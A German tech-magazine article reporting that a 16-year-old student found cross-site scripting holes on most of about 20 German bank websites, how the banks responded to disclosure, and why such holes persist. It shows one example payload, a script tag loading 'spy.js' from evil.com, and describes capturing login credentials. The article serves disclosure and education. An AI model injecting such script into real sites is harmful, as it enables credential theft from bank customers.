BaBaBanküberfall

Er habe sich gewundert, dass heise Security bis vor etwa zwei Jahren intensiv über derartige Probleme berichtet hatte – mittlerweile aber so gut wie nichts mehr darüber zu lesen sei [1] . Aus Neugier, ob das wirklich bedeutet, dass sich die Situation seitdem deutlich verbessert habe, führte er dann selbst ein paar Tests durch.

In etwa zwei Tagen unterzog er die Eingabefunktionen auf etwa 20 Bankenseiten einem manuellen Check. Als Werkzeug kam dabei lediglich Firefox mit dem Browser-Add-on Firebug zum Einsatz. Das Resultat: In etwa vier von fünf Fällen entdeckte er sogenannte Cross-Site-Scripting-Lücken. Und heise Security konnte die Probleme ausnahmslos nachvollziehen.

Mehr Infos

Betroffene Banken

HSH-Nordbank^*
Bremer Landesbank, div. Sparkassen, LBB^*
Commerzbank^*
DAB-Bank
HypoVereinsbank
Wüstenrot^*
Bank of Scotland
WestLB
Deutsche Bank
Postbank
NordLB^*
DKB
Comdirect
Allianz^*
ING-DiBa^*
Cortal Consors^*
Targo Bank^*

^* https-Seite

Für die zweite Überraschung sorgte dann die Person des Lesers. Unwillkürlich erwarteten wir einen Profi im IT-Umfeld, vielleicht einen Web-Entwickler. Doch Armin Razmdjou stellte sich als 16-jähriger Schüler vor, der gerade die zwölfte Klasse besucht.

Die anschließende Aufgabe, die Banken zu informieren, gestaltete sich vor allem deshalb schwierig, weil bei keiner einzigen ein Ansprechpartner für Sicherheitsfragen auf deren Seiten zu finden war. Und die Standard-Supportkanäle, die darauf getrimmt sind, den Kunden Ratschläge zu deren Sicherheit zu geben, waren nicht immer in der Lage, die Ernsthaftigkeit des Anliegens richtig einzuschätzen.

Trauriger Tiefpunkt war die Deutsche Bank, bei der über zwei Wochen mehrere Anläufe über verschiedene Kanäle ins Leere liefen. Erst eine Mail an einen bereits vorhandenen persönlichen Kontakt führte dazu, dass jemand das Problem ernst nahm. Noch schlimmer war nur die Targo-Bank, die erst nach zwei Wochen und mehreren Mails die Lücke stillschweigend beseitigte. Positiv überraschte dafür die Postbank, die innerhalb weniger Stunden reagierte und noch am selben Tag zumindest einen provisorischen Fix online hatte. Mittlerweile sind alle gemeldeten Sicherheitslücken geschlossen.

Fairerweise muss man dazu sagen, dass die gemeldeten Probleme der Webseiten nicht geeignet waren, direkt Daten auf den Servern der Banken zu kompromittieren. Ein Einbruch in deren Systeme wäre damit nicht möglich gewesen. Dennoch sind sich Sicherheitsexperten einig, dass Cross-Site-Scripting-Lücken keineswegs ein Kavaliersdelikt darstellen.

Im Wesentlichen läuft der Angriff darauf hinaus, dem Browser eines Anwenders Code unterzujubeln, den dieser dann im Sicherheitskontext einer Bankenseite ausführt. Dazu bettet ein Angreifer in einen Link auf die Bankenseiten eigenen Code ein. Wird dieser Link dann im Browser eines Anwenders aktiviert, etwa weil der ihn in einer Mail anklickt, landet der Code bei einer Applikation der Bank. Die muss ihn dann eigentlich als unerwünscht erkennen und ausfiltern. Viel zu oft passiert dies jedoch nicht und der Banken-Server schickt dann etwas an den Browser zurück wie:

Zu Ihrer Suche nach:
<script src=http://evil.com/spy.js>
wurde nichts gefunden. 

Für den Browser sieht das so aus, als ob ihn der Banken-Server anweist, diese Skript-Datei zu laden und auszuführen – was er natürlich ohne weitere Nachfragen befolgt. Danach kann das JavaScript-Programm spy.js alle Seiten der Bank direkt im Browser manipulieren und dort dann etwa Eingaben belauschen.

Bei der HSH-Bank demonstrierte Razmdjou dies sogar en détail: Wenn man über ein spezielles Formular bei der https-gesicherten Login-Seite für das Online-Banking landete, dort in ein Formular Benutzernamen und Passwort eintrug und dann den Login-Button betätigte, wurde das eingeschleuste Skript aktiviert. Es hätte beides heimlich im Hintergrund an einen beliebigen Server schicken können. Die Demo „Passwortklau für Dummies“ von heisec.de illustriert diese Gefahr sehr anschaulich.

Besonders kritisch sind derartige Lücken, wenn sie auf den https-gesicherten, verschlüsselten Seiten auftreten und damit sogar gesicherte Inhalte kompromittieren. Denn der eingeschleuste Skript-Code erhält Zugriff auf alle Seiten des Servers, von dem er (scheinbar) stammt. Solche https-Seiten waren bei HSH-Nordbank, Bremer Landesbank, Sparkassen und Landesbank Berlin, Commerzbank, NordLB, Allianz, Cortal Consors, Targo Bank, ING-DiBa und Wüstenrot betroffen.

Ursachenforschung

Zum Teil missachten Banken tatsächlich elementare Sicherheitsrichtlinien. Wenn wie bei der Commerzbank das Online-Banking in der gleichen Server-Domain https://www.commerzbank-privat.de/ läuft wie die Kursabfrage für Aktien, dann fordert das Ärger fast schon heraus.

Ein noch grundsätzlicheres Problem ist jedoch, dass ein Web-Auftritt nicht statisch ist, sondern auch bei Banken kontinuierlich erweitert wird. Da werden neue Seiten erstellt, Applikationen erweitert oder Angebote zusammengelegt. Oft muss es dabei dann sehr schnell gehen und um Ressourcen zu sparen, kommen auch häufig zugekaufte Standardanwendungen wie Börsenkursanzeigen zum Einsatz, die nicht nach den eigenen Kriterien entwickelt wurden.

Dabei eingeschleuste Sicherheitslücken fallen oftmals erst beim nächsten systematischen Sicherheitscheck auf. Doch erstens finden solche Tests meist nur jährlich statt. Und zweitens landet ein dabei gefundenes Problem auch erst mal nur auf einer ToDo-Liste, deren Abarbeitung dauern kann. Generell zeigen die Antworten auf unsere Nachfragen, dass ganz offenbar die Prozesse zur Veröffentlichung neuer Inhalte nicht ausreichend mit den durchaus vorhandenen Sicherheitskonzepten verzahnt sind. Statt mit Sicherheitsmaßnahmen, die schon während des Entwicklungsprozesses zum Einsatz kommen, vorzubeugen, müssen die Security-Teams viel zu oft nachträglich Löcher stopfen – etwa wenn sich wieder einmal ein 16-Jähriger die Seiten vornimmt.

Literatur

[1] Viele Banken-Seiten weiter unzureichend gegen Missbrauch gesichert, http://heise.de/-143847

www.ct.de/1022042 (ju)